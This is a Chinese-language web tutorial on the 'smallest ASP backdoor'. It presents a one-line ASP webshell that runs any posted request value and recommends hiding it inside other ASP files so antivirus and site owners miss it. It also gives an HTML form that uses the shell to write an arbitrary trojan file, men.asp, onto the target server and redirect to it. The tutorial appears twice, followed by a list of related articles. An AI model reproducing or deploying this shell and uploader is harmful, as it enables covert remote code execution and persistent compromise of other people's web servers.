最小asp后門程序
更新時(shí)間：2008年12月12日 12:46:34 作者：
這個(gè)代碼，一般不會 被病毒查殺，而且文件比較小，不容易被懷疑，可以放到別的asp文件中，起到隱藏的目的
首先在asp文件中寫如<%execute request("value")%>代碼
如果想要隱藏，就要加入一些if判斷語句，即可
然后在本地寫個(gè)表單
<form action=http://***.com/jb51.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("hackbin")
lP.SaveToFile server.mappath("men.asp"),2
lP.Close
set lP=nothing
response.redirect "men.asp"
</textarea>
<textarea name=hackbin cols=120 rows=10 width=45>添入生成木馬的內(nèi)容</textarea><BR><center><br> <input type=submit value=提交>
保存為htm文件，把http://***.com/jb51.asp替換成你插入<%execute request("value")%>的文件，然后點(diǎn)提交直接跳轉(zhuǎn)到木馬
如果想要隱藏，就要加入一些if判斷語句，即可
然后在本地寫個(gè)表單
復(fù)制代碼 代碼如下:
<form action=http://***.com/jb51.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("hackbin")
lP.SaveToFile server.mappath("men.asp"),2
lP.Close
set lP=nothing
response.redirect "men.asp"
</textarea>
<textarea name=hackbin cols=120 rows=10 width=45>添入生成木馬的內(nèi)容</textarea><BR><center><br> <input type=submit value=提交>
保存為htm文件，把http://***.com/jb51.asp替換成你插入<%execute request("value")%>的文件，然后點(diǎn)提交直接跳轉(zhuǎn)到木馬
相關(guān)文章
一句話 asp木馬加密版 徹底突破殺毒軟件...2007-11-11
這篇文章指在告訴大家壞人經(jīng)常使用的網(wǎng)頁掛馬方式，從而可以對自己的網(wǎng)頁進(jìn)行防范，只要檢測這些經(jīng)常被用于掛馬的地方，很容易找到木馬的所在。2011-08-08
跨站腳本執(zhí)行漏洞詳解與防護(hù)...2006-07-07
比較詳細(xì)的解密木馬代碼加密破解的方法，喜歡的朋友可以參考下。2011-04-04
網(wǎng)頁木馬代碼例子（里面的文件是漏洞掃描器，呵呵）
網(wǎng)頁木馬代碼例子（里面的文件是漏洞掃描器，呵呵）...2006-12-12
asp javascript在線管理...2006-09-09![有效防止ASP木馬上傳運(yùn)行—小知識[網(wǎng)絡(luò)安全技術(shù)]](http://img.jbzj.com/images/xgimg/bcimg6.png)
有效防止ASP木馬上傳運(yùn)行—小知識[網(wǎng)絡(luò)安全技術(shù)]
前使用IIS服務(wù)器的站長很多，特別是對于ASP網(wǎng)站來說，防止ASP木馬成了網(wǎng)站安全最關(guān)鍵的內(nèi)容。2010-08-08
跨越fso、wsh、 application寫文件...2006-06-06
七步倒┈→專用asp后門...2007-06-06
由于IIS的啟動帳戶IWAM的權(quán)限很低,所以雖然是以高權(quán)限的用戶當(dāng)作IUSR （來賓帳戶）來訪問頁面 但是只是獲得該用戶所擁有權(quán)限的目錄的讀寫等相應(yīng)權(quán)限罷了2008-05-05